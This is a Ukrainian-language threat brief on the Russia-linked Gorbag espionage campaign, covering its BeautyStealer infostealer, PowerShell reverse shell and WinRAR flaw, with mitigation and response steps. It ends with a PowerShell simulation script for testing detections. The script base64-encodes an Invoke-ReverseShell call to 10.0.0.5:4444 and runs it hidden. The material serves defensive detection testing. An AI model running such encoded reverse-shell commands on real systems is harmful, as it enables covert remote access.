Кампанія шкідливого ПЗ Gorbag збирає розвіддані з України

Резюме

Gorbag — загроза, пов’язана з Росією, націлена на українські організації для збору конфіденційної інформації. Група використовує спеціалізований інструментарій, що включає інфостілер BeautyStealer та Prime ReverseShell для збору даних з браузера, конфігурацій VPN та документів. Їх операції акцентують увагу на швидкому зборі розвідданих, а не тривалому проникненні, що може свідчити про можливу роль в якості брокера початкового доступу.

Розслідування

Дослідники ESET відстежують активність Gorbag з лютого 2025 року і спостерігають зміни у 2026 році, спрямовані на експлуатацію вразливості обходу шляхів WinRAR. Розслідування виявило кілька варіантів BeautyStealer та проаналізувало ексфільтрацію через Telegram та інфраструктуру власного C2. Дослідники також виявили зворотний shell на PowerShell, модифікований для введення в оману засобів AI-безпеки.

Пом’якшення

Організаціям слід оновити WinRAR для усунення CVE-2025-8088 та посилити фільтрацію електронної пошти для блокування фішингових атак. Обмеження виконання макросів через групову політику може допомогти запобігти початковій стадії зараження. Команди з безпеки також повинні відстежувати нестандартну активність PowerShell та несанкціоновану ексфільтрацію даних до таких служб, як Telegram.

Відповідь

Коли виявлена зловмисна активність, ізолюйте скомпрометовані хости, щоб зупинити подальшу ексфільтрацію даних та крадіжку облікових даних. Проведіть форенсичний аналіз %ProgramData% каталогу і папки автозапуску Windows для виявлення підозрілих LNK файлів чи навантажень. Скиньте всі потенційно скомпрометовані облікові дані, включаючи паролі, збережені в браузері, та конфігурації VPN у всьому ураженому середовищі.

Імітація виконання

• Опис атаки та команди: Супротивник отримав початковий доступ через spearphishing вкладення. Щоб встановити стійкість та канал управління і контролю (C2), вони намагаються розгорнути “Prime ReverseShell”. Вони використовують PowerShell зі -Enc (зашифрована команда) прапорець, щоб приховати структуру навантаження від базової перевірки та включають рядок Invoke-ReverseShell у декодованій логіці для підтримки сумісності з існуючими підписами інструментарію. Одночасно вони імітують активність “BeautyStealer”, запускаючи скрипт, що містить цей конкретний ідентифікатор, щоб ексфільтрувати дані браузера.

• Скрипт тесту регресії:

  # Скрипт імітації: Тригер шаблону загрози Gorbag APT
  # Цей скрипт виконує дві окремі команди, щоб ініціювати специфічні строки виявлення.
  
  Write-Host "[+] Початок імітації: Тригер логіки Prime ReverseShell/BeautyStealer..." -ForegroundColor Cyan
  
  # 1. Тригер через -Enc та Invoke-ReverseShell (імітація Prime ReverseShell)
  # Ми використовуємо зашифровану команду Base64, яка при декодуванні містить 'Invoke-ReverseShell'
  $Command = 'Write-Host "Connecting..."; Invoke-ReverseShell -IP 10.0.0.5 -Port 4444'
  $Bytes = [System.Text.Encoding]::Unicode.GetBytes($Command)
  $EncodedCommand = [Convert]::ToBase64String($Bytes)
  
  Write-Host "[+] Виконання зашифрованої команди..." -ForegroundColor Yellow
  Start-Process powershell.exe -ArgumentList "-Enc $EncodedCommand" -WindowStyle Hidden
  
  # 2. Тригер через 'BeautyStealer' ключове слово (імітація активності BeautyStealer)
  Write-Host "[+] Виконання тригеру ключового слова BeautyStealer..." -ForegroundColor Yellow
  Start-Process powershell.exe -ArgumentList "-Command `"Write-Output 'Запуск модуля BeautyStealer...'`"" -WindowStyle Hidden
  
  Write-Host "[+] Команди імітації відправлені." -ForegroundColor Green

• Команди очищення:

  # Очищення: Постійні файли не були створені, але ми переконуємось, що не залишилось сирітських процесів.
  Get-Process powershell | Where-Object { $_.CommandLine -like "*Invoke-ReverseShell*" -or $_.CommandLine -like "*BeautyStealer*" } | Stop-Process -Force
  Write-Host "[+] Очищення завершено." -ForegroundColor Cyan